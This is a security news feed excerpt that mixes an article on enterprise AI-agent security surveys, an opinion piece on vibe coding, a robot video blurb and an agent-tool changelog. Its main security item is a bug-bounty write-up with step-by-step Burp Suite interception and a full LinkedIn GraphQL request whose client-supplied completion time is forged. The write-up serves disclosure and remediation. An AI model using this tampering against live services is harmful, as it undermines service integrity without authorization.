and 58% of executives reported an AI-related incident or close call in the prior year.</p><p>HiddenLayer’s 2026 AI Threat Landscape Report surveyed 250 IT and security leaders: 33% reported <a href="https://www.hiddenlayer.com/report-and-guide/threatreport2026">agents had already exceeded intended scope</a>, and 31% could not confirm whether they had experienced an AI breach. One in eight AI breaches was linked to agentic systems.</p><p><a href="https://www.gravitee.io/blog/state-of-ai-agent-security-2026-report-when-adoption-outpaces-control">Gravitee’s survey of over 900 executives and practitioners</a> found only 14.4% of agents <a href="https://www.gravitee.io/blog/state-of-ai-agent-security-2026-report-when-adoption-outpaces-control">went live with full security approval</a>, and 88% reported confirmed or suspected incidents. A follow-up of 750 leaders in April found agent estates had doubled while monitoring barely moved.</p><h2>The runtime gap nobody closed</h2><p>“Securing agents looks very similar to securing highly privileged users,” said Elia Zaitsev, CTO of CrowdStrike, in an <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">interview with VentureBeat</a>. “They have identities, access to underlying systems, they reason, they take action.”</p><p>Zaitsev pointed to the gap the industry left open. “No one has been talking about securing agents at runtime. We are doing that now. What is your safety net? If all these controls fail, how do you prevent them from failing silently?”</p><p>CrowdStrike's fleet data quantifies the exposure: more than 1,800 agentic applications on enterprise endpoints, approximately 160 million instances under monitoring. On June 15, <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-unveils-continuous-identity-for-ai-agents/">CrowdStrike shipped Continuous Identity for AI Agents at Identiverse</a>, replacing static policies with continuous enforcement that authorizes every agent action in real time. The control class that announcement reflects — continuous action-level authorization with verifiable agent identity — is now a baseline procurement criterion regardless of vendor.</p><p>“People have kind of forgotten about runtime security,” Zaitsev said. “We did this with endpoint, virtualization, and cloud. People focused on patching vulnerabilities, locking down permissions. Somehow, they always seem to miss something. The safety net is runtime.”</p><p>Zaitsev was equally direct about sandbox approaches. “If you start with an agent in a sandbox that has no ability to touch anything, it is worthless. Very quickly, you are in this race of giving it more capabilities. And then what is the point of your sandbox?” Agents derive their value from access. Every access grant is an attack surface.</p><h2>The governance gap is a budget problem</h2><p>Kayne McGladrey, an IEEE Senior Member, described the structural challenge in an exclusive interview with VentureBeat. “The CISO doesn’t have the budget. The CISO doesn’t have the staff. We can observe risks, we can advise on business risks, but we don’t own the business systems affected by those risks,” McGladrey said. When agent governance spans six departmental budgets, no single executive can confirm whether agents get the same access reviews as humans.</p><p>The Okta survey quantifies the disconnect. Only <a href="https://www.okta.com/newsroom/press-releases/showcase-2026/">43% of workers say agent policies are clear</a>, compared to 65% of executives, and nearly two-thirds apply weaker controls to agents than to humans. The people deploying agents daily do not recognize the governance posture their leadership claims to have built.</p><p>Assaf Keren, chief security officer at Qualtrics and former CISO at PayPal, put it plainly. “The real risk starts not by the implementation of AI systems. It is the fact that baseline architecture is not well established. When we put an AI system on top of something not architected well, we are accelerating the fractures.” Keren called runtime behavior analytics “an unsolved problem right now.”</p><h2>The 5-question gap test</h2><p>The five-question gap test draws on five surveys from the first half of 2026. Each question maps to a gap that agentjacking exploits. Run this before any Q3 vendor evaluation.</p><table><tbody><tr><td><p><b>Gap to test</b></p></td><td><p><b>The proof</b></p></td><td><p><b>What breaks</b></p></td><td><p><b>Monday action</b></p></td><td><p><b>Source / sample</b></p></td></tr><tr><td><p>1. Agent inventory. What percentage of agents, MCP connections, and LLM automations completed security review before deployment?</p></td><td><p>14.4% get full security/IT approval before going live. 52% of employees use unapproved AI tools. Average enterprise now manages 37+ deployed agents, roughly doubled from Q4 2025.</p></td><td><p>Unapproved agents are invisible to your identity platform and unaccountable in a breach disclosure. Agentjacking targets exactly these unmanaged MCP connections. No census means no audit trail for regulatory response.</p></td><td><p>Commission a full agent, MCP server, and LLM automation census. Make census completion a procurement gate for all Q3 vendor evaluations. Flag any agent discovered post-census as a shadow AI incident.</p></td><td><p>Gravitee State of AI Agent Security 2026, 900+ respondents (Feb 2026); Gravitee April 2026 update, 750 senior tech leaders; Okta/Apprize360, 292 execs + 492 workers (June 2026)</p></td></tr><tr><td><p>2. Controls parity. Do agents receive the same access reviews, privilege scoping, and revocation timelines as human employees?</p></td><td><p>34% always apply the same controls to agents as humans. 61% of privileged access fulfilled without proper review. Only 22% treat agents as independent identity-bearing entities.</p></td><td><p>An agent with a static OAuth token and no review cycle is a permanent privileged account with no termination date. Agentjacking inherits whatever privileges the developer holds. 45.6% of orgs rely on shared API keys for agent-to-agent auth.</p></td><td><p>Add every production agent to the next access review cycle. Mandate human-in-the-loop for any agent action touching PII, financial data, or production infrastructure. Replace shared API keys with scoped, short-lived tokens.</p></td><td><p>Okta/Apprize360 (784 respondents, June 2026); Palo Alto Networks (2,930 respondents); Gravitee (900+, shared API keys data)</p></td></tr><tr><td><p>3. Scope drift. Have any agents accessed data or systems beyond their defined scope in the last 12 months?</p></td><td><p>33% report agents already exceeded scope. 53% say agents exceed permissions occasionally or sometimes. Meta Sev 1, March 2026: agent posted sensitive data to unauthorized channel. Only 8% say agents never exceed intended permissions.</p></td><td><p>Scope drift triggers reportable events under GDPR, CCPA, HIPAA, and SEC cybersecurity rules. If detection cannot distinguish agent-initiated from human-initiated access, disclosure timelines are unachievable. Agent-spawned sub-agents (25.5% of deployed agents can create other agents) make audit trails algebraically intractable.</p></td><td><p>Run a 90-day scope-drift audit on every production agent. Compare actual resources touched against approved scope documentation. Block agent-to-agent delegation without explicit human approval for any action exceeding the parent agent’s scope.</p></td><td><p>HiddenLayer AI Threat Landscape 2026 (250 IT/security leaders); CSA AI Agent Security Survey (scope violations data); Gravitee (agent spawning data)</p></td></tr><tr><td><p>4. Governance perception gap. Would 50 knowledge workers say your AI agent policies are clear?</p></td><td><p>22-point gap: 65% of executives say policies are clear, 43% of workers agree. 77% of security teams see shadow AI risk but lack visibility to act. 76% cite shadow AI as a definite or probable problem.</p></td><td><p>You are evaluating vendors against a governance posture your workforce does not recognize. Every shadow agent undermines the vendor comparison. Knowledge workers sharing internal messages (54%), HR data (45%), and confidential docs (39%) with unapproved AI tools.</p></td><td><p>One-question survey before your next vendor demo. Gap exceeds 15 points, pause procurement. Publish an internal AI agent acceptable-use policy with specific examples of approved and prohibited agent behaviors.</p></td><td><p>Okta/Apprize360 (784 respondents, June 2026); Ivanti 2026 AI Maturity Report (1,200 respondents); HiddenLayer (shadow AI data)</p></td></tr><tr><td><p>5. Breach detection certainty. Can your security team confirm whether you experienced an AI-related breach in the last 12 months?</p></td><td><p>31% cannot answer. 88% reported confirmed or suspected AI agent security incidents. One in eight reported AI breaches now linked to agentic systems. Agentjacking proved EDR, WAF, IAM, and firewall pass an agent-mediated attack without a single alert.</p></td><td><p>No basis for disclosure timelines. No evidence chain for incident response. No defensible position in a regulatory investigation. EU AI Act high-risk compliance obligations take effect August 2, 2026.</p></td><td><p>Require agent-specific runtime detection as a procurement prerequisite. Confirm your org can distinguish agent-initiated actions from human-initiated actions in production telemetry. Test your SOC’s ability to attribute a specific action to a specific agent within 60 minutes.</p></td><td><p>HiddenLayer (250 IT/security leaders); Gravitee (900+, incident rate); Tenet Security (2,388 orgs exposed); CSA (systemic MCP vulnerability classification)</p></td></tr></tbody></table><h2>Security director action plan</h2><p>EU AI Act high-risk compliance obligations take effect August 2, 2026. Worth factoring into Q3 planning timelines.</p><ol><li><p>Run the five-question gap test above before any Q3 vendor evaluation — it costs nothing to administer, and the procurement clarity it creates is worth far more than the 30 minutes it takes.</p></li><li><p>Consider mandating agent-specific runtime detection. If your stack cannot tell what an agent did from what a developer did, agentjacking will bypass it the same way it bypassed every layer in Tenet’s testing. That distinction is the one that matters now.</p></li><li><p>Treat every agent as a privileged insider. According to the Okta/Apprize360 survey, only 34% of organizations apply the same controls to agents as to humans; closing that gap is the single most impactful thing most security teams can do this quarter.</p></li><li><p>Test the perception gap before investing in new tooling. One question to 50 knowledge workers. Do you know your company’s AI agent policies? If the gap between their answer and leadership’s answer exceeds 15 points, that is the problem to solve first. No vendor product fixes a governance posture your own workforce does not recognize.</p></li><li><p>Make agent census completion a procurement gate — every agent, every MCP connection. The security teams getting this right are the ones that started with a complete inventory and worked forward from there.</p></li></ol><p>Agentjacking stripped away an assumption that has survived every security architecture since the first firewall went live. Authorized does not mean safe. When every step in the chain is legitimate, the only defense that matters is the one watching what agents do. Not what policies say. What agents do.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beating LinkedIn’s Mini Sudoku in 3 Seconds: A Parameter Tampering Case Study]]></title>
<description><![CDATA[Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzadsOverviewLinkedIn’s Mini Sudoku is a daily puzzle game embedded in the platform’s Games feature. Players compete for the fastest completion time, which is displayed publicly alongside badges like “On fire” (wi...]]></description>
<link>https://tsecurity.de/de/3632523/hacking/beating-linkedins-mini-sudoku-in-3-seconds-a-parameter-tampering-case-study/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632523/hacking/beating-linkedins-mini-sudoku-in-3-seconds-a-parameter-tampering-case-study/</guid>
<pubDate>Mon, 29 Jun 2026 11:55:32 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rl9KgRCYwFgJYLyt6bgtPA.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub: <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn: <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></h4><h3>Overview</h3><p>LinkedIn’s Mini Sudoku is a daily puzzle game embedded in the platform’s Games feature. Players compete for the fastest completion time, which is displayed publicly alongside badges like “On fire” (win streak) and comparisons like “Smarter than 99% of CEOs.”</p><p>I discovered that the game completion time is supplied entirely by the client in the final API request — and the server accepts it without any server-side validation. By intercepting and modifying a single parameter in Burp Suite, I was able to submit a completion time of 3 seconds for a puzzle that realistically takes 1–3 minutes.</p><h3>Background</h3><p>LinkedIn Games launched in 2024, adding daily puzzles (Queens, Crossword, Mini Sudoku) directly to the platform. Each game tracks your time and displays the result to your network. The social element — “you beat 99% of people who played today” — creates an implicit competitive layer, which makes the integrity of these scores meaningful to users.</p><p>I was testing LinkedIn’s web application while running Burp Suite in the background when I noticed the game’s final submission request.</p><h3>Discovery</h3><p>I played Mini Sudoku #321 as normal — filling in cells one by one, down to the last empty cell. Before filling the final cell, I enabled Burp Suite’s intercept.</p><p>I filled in the last cell, which triggered a POST request to LinkedIn’s GraphQL API:</p><pre>POST /voyager/api/graphql?action=execute&amp;queryId=voyagerIdentityDashGames.f8508525e36bee5f9a5ab6b637854d87<br>Host: www.linkedin.com</pre><p>Inside the request body, I found the game state payload. One field stood out immediately:</p><pre>"timeElapsed": 3</pre><p>The entire completion record — game state, cell values, time elapsed, whether the game was flawless, whether hints were used — was being sent from the client to the server as-is, with no server-side time tracking to verify it.</p><h3>Proof of Concept</h3><p><strong>Step 1:</strong> Open LinkedIn Mini Sudoku and play until one cell remains.</p><p><strong>Step 2:</strong> Enable Burp Suite intercept before filling the last cell.</p><p><strong>Step 3:</strong> Fill the final cell. Intercept captures the game submission request.</p><p><strong>Step 4:</strong> Locate the timeElapsed field in the request body and modify its value.</p><p><strong>Step 5:</strong> Forward all requests. LinkedIn processes the submission and displays the manipulated time.</p><p><strong>Result:</strong> Completion time displayed as 3 seconds.</p><p><strong>Full intercepted request (sanitized):</strong></p><pre>POST /voyager/api/graphql?action=execute&amp;queryId=voyagerIdentityDashGames.f8508525e36bee5f9a5ab6b637854d87 HTTP/2<br>Host: www.linkedin.com<br>Content-Type: application/json; charset=UTF-8<br>Csrf-Token: ajax:1812219885785541610<br>X-Restli-Protocol-Version: 2.0.0<br>X-Li-Pem-Metadata: Voyager - Games=game-state-update-post</pre><pre>{<br>  "variables": {<br>    "entity": {<br>      "entity": {<br>        "gameStoredRecord": {<br>          "gamePlayState": "END_SOLVED",<br>          "timeElapsed": 3,<br>          "isFlawless": false,<br>          "completionAttributes": {<br>            "isHintFree": false,<br>            "isMistakeFree": true<br>          },<br>          "gameStateUnion": {<br>            "miniSudokuGameState": [<br>              {"cellIdx": 1, "cellContentUnion": {"cellValue": 5}},<br>              {"cellIdx": 2, "cellContentUnion": {"cellValue": 2}},<br>              {"cellIdx": 3, "cellContentUnion": {"cellValue": 6}},<br>              {"cellIdx": 4, "cellContentUnion": {"cellValue": 4}},<br>              {"cellIdx": 6, "cellContentUnion": {"cellValue": 6}},<br>              {"cellIdx": 8, "cellContentUnion": {"cellValue": 3}},<br>              ...<br>            ]<br>          }<br>        }<br>      },<br>      "resourceKey": "urn:li:fsd_game:(ACoAAF8BdxgB42sf2t6eedIXpw4zAxwabJ1ZfPA,7,320)"<br>    }<br>  },<br>  "queryId": "voyagerIdentityDashGames.f8508525e36bee5f9a5ab6b637854d87"<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UgzQSuzk-MM7yXldlye4uQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eXOYMZg96DmCQootatutA.png"></figure><p><strong>Note on the minimum value:</strong> I tested timeElapsed: 1 — the server rejected it. The minimum accepted value was 3. Any value of 3 or above was accepted without question.</p><h3>Impact</h3><p>The impact here is scoped to game integrity, not account security or data exposure.</p><p>What this allows:</p><ul><li>Submit any completion time at or above 3 seconds — appearing at the top of daily leaderboards regardless of actual performance</li><li>Manipulate streak counters and badges (“On fire”, “Flawless”) by controlling the completionAttributes flags</li><li>Skew the daily average shown to other players (“Today’s avg: 2:01”) since that average likely includes submitted times</li></ul><p>What this does not allow:</p><ul><li>Account takeover or privilege escalation</li><li>Access to other users’ data</li><li>Any server-side code execution</li></ul><p>The root cause is architectural: the game trusts the client to report the time. A correct implementation tracks game start time server-side when the session begins, and computes elapsed time on submission — making client-supplied time values irrelevant.</p><h3>Root Cause</h3><p>The timeElapsed field is a client-supplied integer included in the final POST body. The server accepts it as authoritative. There is no server-side session that records when the game was started, so there is nothing to validate the submitted time against.</p><p>This is a textbook case of trusting client-provided state for something that should be computed server-side.</p><h3>Remediation</h3><p>The fix is straightforward:</p><ul><li>Record game start time server-side when the player opens the puzzle (tied to session or user ID)</li><li>On submission, compute timeElapsed = submission_time - server_recorded_start_time</li><li>Discard the client-supplied timeElapsed value entirely</li><li>Apply a reasonable lower bound on valid completion times (a 6-cell Mini Sudoku cannot physically be solved in under ~10 seconds)</li></ul><h3>Disclosure</h3><p>Reported to LinkedIn via HackerOne.</p><p><strong>Shikhali Jamalzade — </strong>Offensive Security Researcher<br><a href="https://github.com/alisalive">GitHub</a> | <a href="https://linkedin.com/in/camalzads">LinkedIn</a> | <a href="https://alisalive.vercel.app/">Portfolio</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=9261b57873a8" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/beating-linkedins-mini-sudoku-in-3-seconds-a-parameter-tampering-case-study-9261b57873a8">Beating LinkedIn’s Mini Sudoku in 3 Seconds: A Parameter Tampering Case Study</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI needs a flight school]]></title>
<description><![CDATA[In the late 1960s, elite Navy pilots began losing dogfights.



The deep, instrument-level understanding of exactly where they were, what their aircraft was doing, and what was coming next had been automated. And when moments of crisis arrived, they didn’t have the situational awareness to respon...]]></description>
<link>https://tsecurity.de/de/3632385/ai-nachrichten/ai-needs-a-flight-school/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3632385/ai-nachrichten/ai-needs-a-flight-school/</guid>
<pubDate>Mon, 29 Jun 2026 11:04:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In the late 1960s, elite Navy pilots began losing dogfights.</p>



<p>The deep, instrument-level understanding of exactly where they were, what their aircraft was doing, and what was coming next had been automated. And when moments of crisis arrived, they didn’t have the situational awareness to respond. Put a plane on autopilot long enough, and the pilot stops actually flying.</p>



<p>The same dynamic is playing out across enterprise software. AI is <a href="https://www.infoworld.com/article/4181971/making-sense-of-too-much-code.html" data-type="link" data-id="https://www.infoworld.com/article/4181971/making-sense-of-too-much-code.html">generating code faster</a> than <a href="https://www.infoworld.com/article/4183153/why-ai-coding-debt-is-different.html" data-type="link" data-id="https://www.infoworld.com/article/4183153/why-ai-coding-debt-is-different.html">developers can understand it</a>, and leaders are celebrating the velocity without asking who’s actually flying the plane.</p>



<p>A developer who has only ever “vibe coded” has perception at best. They can “see” the outputs but can’t fix any internal failures caused by the very AI systems they’re relying on. The easiest thing to do is to say the answer looks good enough. Cut and paste it in and hope it works out. According to Model Evaluation &amp; Threat Research’s <a href="https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/">randomized control trials</a>, experienced developers working with AI tools actually took 19% longer to complete tasks than those working without them, despite predicting beforehand that AI would make them 24% faster.</p>



<p>The fundamentals of good software delivery have never been more important — and never more neglected.</p>



<h2 class="wp-block-heading"><a></a>When instruments go dark</h2>



<p>The Navy’s answer to training dogfighters for success was the Top Gun school — not just to teach pilots to fight, but to teach them how to fly again. That meant returning to the fundamentals by mastering the technical and combat skills that can best prepare them for moments of crisis with clear thinking. This very discipline makes split-second decisions possible when everything is on the line.</p>



<p>Consider this scenario. A retail company’s engineering team used AI to refactor a promotions engine ahead of the holiday season. The code passed every test. Reviews were clean. It shipped on a Tuesday with zero flags.</p>



<p>But what if nobody caught that AI had subtly changed the order of operations in a discount calculation? It’s a logical shift that wouldn’t have broken any individual test case but could compound incorrectly when multiple promotions applied to the same cart. This would be enough to cost the company millions by the time a finance analyst notices the margin erosion during a quarterly close.</p>



<p>The <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> wave is already breaking. One<a href="https://techstartups.com/2025/12/11/the-vibe-coding-delusion-why-thousands-of-startups-are-now-paying-the-price-for-ai-generated-technical-debt/"> analysis</a> found that roughly 10,000 startups tried to build production apps with AI assistants; more than 8,000 now need rebuilds.</p>



<p>It’s on us to turn this moment of reckoning into an opportunity.</p>



<h2 class="wp-block-heading">Training developers for real-world applications</h2>



<p>So what can we as leaders do about this?</p>



<p>The foundation of everything we do comes down to trust — specifically, teaching people to trust and own their work. My high-level vision is to help people achieve a 50x improvement in their overall processes by leveraging AI tools <em>and</em> still being the expert at large.</p>



<p>For one of Copado’s internal programs, we gave nine employees the ability to vibe code AI-powered tools to tackle any major business problem they identified. Most gravitated toward the same theme: they were constantly fielding repeat questions and wanted to stop answering the same thing twice.</p>



<p>But while the instinct was right, the execution wasn’t ready. They hadn’t thought through who would maintain these tools, how they would be governed, or whether they actually mapped to business objectives.</p>



<p>Just because you can hand someone the controls doesn’t mean they know how to fly.</p>



<p>We then conducted a training session on how to plan an app effectively — with a long-term view of the full software development life cycle — before anyone wrote a line of code. The app ideas got sharper, and the products got real.</p>



<p>The group went from pursuing 10 app ideas to a focused set of seven, with two participants stepping back after realizing they didn’t yet have a problem worth solving. Five are now being implemented across the business: Legal built a policy bot to answer HR’s questions on company policy; the doc writing team built a tool for automatically generating technical documentation; the support team built a case analysis app; the sales team built a call-coaching app that helps sales development reps improve performance by analyzing live calls; and the customer success team built an app that listens to calls and notes, then automatically summarizes everything known about a new client at the point of implementation.</p>



<p>To this day, we also reserve “Failure Fridays,” a monthly space for employees to practice debugging programs without AI assistance. It keeps foundational skills sharp and ensures that when something breaks in production, the team knows how to actually fix it.</p>



<h2 class="wp-block-heading">Five pillars for AI applications</h2>



<p>Across a community of 120,000 Copado developers, I now recommend they enforce these five pillars when deploying AI in their projects:</p>



<ul class="wp-block-list">
<li>Build in checkpoints to evaluate agent output against defined standards before anything moves forward.</li>



<li>Continuous and automated testing should function as a permanent trust layer embedded directly into the development cycle.</li>



<li>Apply human judgment at critical decision points while automation handles the routine verification work in between.</li>



<li>A single review at the end of a process is a point of failure. Continuous validation is necessary to catch issues the moment they arise rather than after they’ve compounded.</li>



<li>Maintain audit trails and performance metrics that capture every agent action. Accountability means tracking what AI does, not just what developers deliver.</li>
</ul>



<p>I believe that success demands the technical knowledge and discipline to build these systems from the ground up. These guardrails ensure that AI works with you, not against you. The bottom line: organizations that approach AI with accountability and knowledge in mind achieve 9x to 10x productivity while maintaining trust.</p>



<p>At Copado, fostering a culture where developers are genuinely motivated to embrace AI is equally important to us. To support that, we created a certification and incentive program that rewards new hires with $1,000 bonuses upon completion — an investment that has delivered a 76% ROI compared to traditional onboarding methods. The impact has been undeniable: we had 30 developers fully onboarded in just 30 days, condensing what typically takes three to six months into a fraction of the time.</p>



<h2 class="wp-block-heading">The fundamentals will endure</h2>



<p>Speed without situational awareness isn’t efficient. It’s a deferred crisis.</p>



<p>The fundamentals of planning, building, testing, and releasing aren’t bureaucratic overhead — they’re the instruments on the dashboard, telling you where you are, what your system is doing, and what’s coming next. Lose them, and you’re not just flying blind. You’re unprepared for the dogfight.</p>



<p>When the moment of reckoning arrives — the production failure, the security breach, the audit, the outage — you find out very quickly whether a human’s full understanding was there or not.</p>



<p>The machine won’t be in the hot seat. You will.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[6 Ultra Realistic Humanoids You Can Actually Buy RIGHT NOW!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 1x - Views:3 Female humanoid robots are getting so realistic that they are starting to cross the line between machine and human. In this video, we look at the latest ultra-realistic robots from China and the United States, including UBTECH’s U1, DroidUp’s warm-ski...]]></description>
<link>https://tsecurity.de/de/3631690/videos/6-ultra-realistic-humanoids-you-can-actually-buy-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631690/videos/6-ultra-realistic-humanoids-you-can-actually-buy-right-now/</guid>
<pubDate>Mon, 29 Jun 2026 02:01:28 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 1x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RWY4Y1ZsG_k?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Female humanoid robots are getting so realistic that they are starting to cross the line between machine and human. In this video, we look at the latest ultra-realistic robots from China and the United States, including UBTECH’s U1, DroidUp’s warm-skinned Moya, Noetix’s Hobbs W1, Realbotix Aria, AheadForm’s Elf-Xuan, and LimX’s Luna. These robots can hold conversations, recognize moods, remember personal details, mirror facial expressions, maintain eye contact, walk, perform, and even feel warm to the touch. Some are built for emotional companionship, some for elderly care, some for reception jobs, and others for entertainment and performance. But as humanoid robots become more lifelike, they also raise serious questions. Are realistic AI companions the future of care and connection, or are we entering a dangerous uncanny valley where machines feel too human? This is the future of AI robots, female humanoids, realistic androids, emotional robotics, and human-robot interaction.<br />
<br />
#HumanoidRobot #AIRobots #FemaleRobot #Robotics #FutureTech #ChinaRobotics #AI<br />
<br />
00:00 - INTRO <br />
01:02 - Number 6 <br />
03:25 - Number 5 <br />
05:21 - Number 4 <br />
06:47 - Number 3 <br />
07:58 - Number 2 <br />
08:34 - Number 1 <br />
09:00 - OUTRO<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v16.2.3]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Changed

Enabled V2 streaming remote compaction by default for compatible AI and OpenAI-compatible models, which forwards full conversation history to the provider and supports session routing, prompt caching, provider-native tool history replay, transient error retries, a...]]></description>
<link>https://tsecurity.de/de/3631226/tools/v1623/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631226/tools/v1623/</guid>
<pubDate>Sun, 28 Jun 2026 18:09:21 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Changed</h3>
<ul>
<li>Enabled V2 streaming remote compaction by default for compatible AI and OpenAI-compatible models, which forwards full conversation history to the provider and supports session routing, prompt caching, provider-native tool history replay, transient error retries, and configurable timeouts.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed an issue where assistant responses and encrypted reasoning could be lost during local history trimming.</li>
<li>Added <code>title_change</code> session metadata to the compaction entry type union to maintain type compatibility for hosts with title audit entries.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Changed</h3>
<ul>
<li>Enabled automatic removal of leaked reasoning tags for all models</li>
<li>Prevented reasoning text duplication when models emit both structured and inline thinking</li>
<li>Defaulted reasoning context to all turns for all Codex requests.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Enabled freeform tool patch support for Azure OpenAI and Codex models.</li>
<li>Fixed an issue where the <code>/usage show</code> command returned "No usage data available" when using a custom proxy base URL for Codex.</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
<li>Added support and configuration parameters for V2 streaming compaction in RemoteCompactionConfig, catalog types, and model/provider metadata.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled automatic content markup healing for all OpenAI-compatible streaming models</li>
<li>Updated pricing and context window limits for several catalog models.</li>
<li>Disabled reasoning capability for multiple providers in the catalog.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added support for multiple configurable advisors via WATCHDOG.yml/WATCHDOG.yaml files, allowing per-advisor models, tool subsets, and instructions.</li>
<li>Added /advisor configure, a full-screen, mouse-driven TUI to easily manage the advisor roster, configure models, toggle tool permissions, and edit instructions.</li>
<li>Added full unified edit diffs to advisor transcripts, allowing advisors to see changes directly without re-reading files.</li>
<li>Added the statusLine.compactThinkingLevel setting to render the model segment's thinking level as a single leading glyph instead of a separate text suffix.</li>
<li>Added support for tracking reasoning tokens in session and advisor statistics.</li>
<li>Added Remote Compaction V2 streaming configuration settings (compaction.remoteStreamingV2Enabled and compaction.v2RetainedMessageBudget) to control token budgets and toggle V2 streaming for remote compaction.</li>
<li>Added the edit.citationTags setting to emit model-facing hashline section headers as OpenAI citation markers with opaque source IDs, along with citation-marker unwrapping for hashline edit parsing, diff previews, and streaming matching.</li>
<li>Added mutable session titles with automatic replan title refreshes and configurable idle recaps.</li>
<li>Added support for incremental yield submissions with typed sections and final results for subagents.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Reduced session file size by removing redundant thinking signatures already present in payloads</li>
<li>Advisors can now be granted any built-in agent tool (including edit, write, and bash), removing the previous read-only restriction.</li>
<li>Improved the debug log and raw SSE stream viewers with a wider, bordered overlay, clearer status indicators, dynamic layouts, and mouse support for scrolling and interaction.</li>
<li>Updated the idle recap feature to use an LLM-generated summary of where things stand (anchored by the live goal and active todo task) instead of a static status line.</li>
<li>Refined interrupted thinking system instructions to encourage smoother continuation.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed array-typed output schema validation by correctly assembling incremental yields into lists.</li>
<li>Fixed OpenAI/Codex compatibility by removing top-level schema combinators from tool parameters.</li>
<li>Fixed validation errors for untyped final yields in strict-mode providers by allowing null types.</li>
<li>Fixed Alt+M default-role model configuration being disabled by the current session's context size.</li>
<li>Fixed MCP type: "sse" servers by adding the legacy HTTP+SSE endpoint handshake and streaming JSON-RPC response path.</li>
<li>Fixed interrupted reasoning blocks being incorrectly stripped when they contained a valid signature.</li>
<li>Fixed interrupted thinking being lost in LLM provider requests after user interrupts by properly stripping trailing reasoning blocks from assistant turns while preserving them in the UI and session history.</li>
<li>Fixed the live todo HUD going stale during long tool-use loops by introducing a mid-run reconciliation reminder that prompts the agent to update incomplete items.</li>
<li>Fixed resumed OpenAI and OpenAI-Codex sessions losing encrypted reasoning and native assistant turns during rehydration.</li>
<li>Fixed the ask tool's custom answer editor dropping the original question and option list while typing.</li>
<li>Fixed auto-snapcompact failing the session on local blockers (such as text-only active models, high non-ASCII transcripts, or context budget overflows) by gracefully downgrading automatic maintenance to context-full compaction.</li>
<li>Fixed autoresearch's before_agent_start handler crashing when the system prompt was undefined.</li>
<li>Fixed OMP exiting silently during startup when encountering standalone Codex hook scripts in ~/.codex/hooks/.</li>
<li>Fixed unreachable keyboard shortcuts in HTML session exports by changing the "toggle thinking" and "toggle tools" shortcuts from Ctrl+T and Ctrl+O to bare T and O keys.</li>
<li>Fixed user-invoked /skill: prompts reaching model providers as developer turns instead of user turns, including during compaction.</li>
<li>Fixed reasoning streaming being locked off for OpenAI-compatible providers that stream reasoning content without advertising reasoning support in model metadata.</li>
<li>Fixed /shake and other mid-stream chat rebuilds erasing live LLM output by preserving the in-flight streaming components and pending tools.</li>
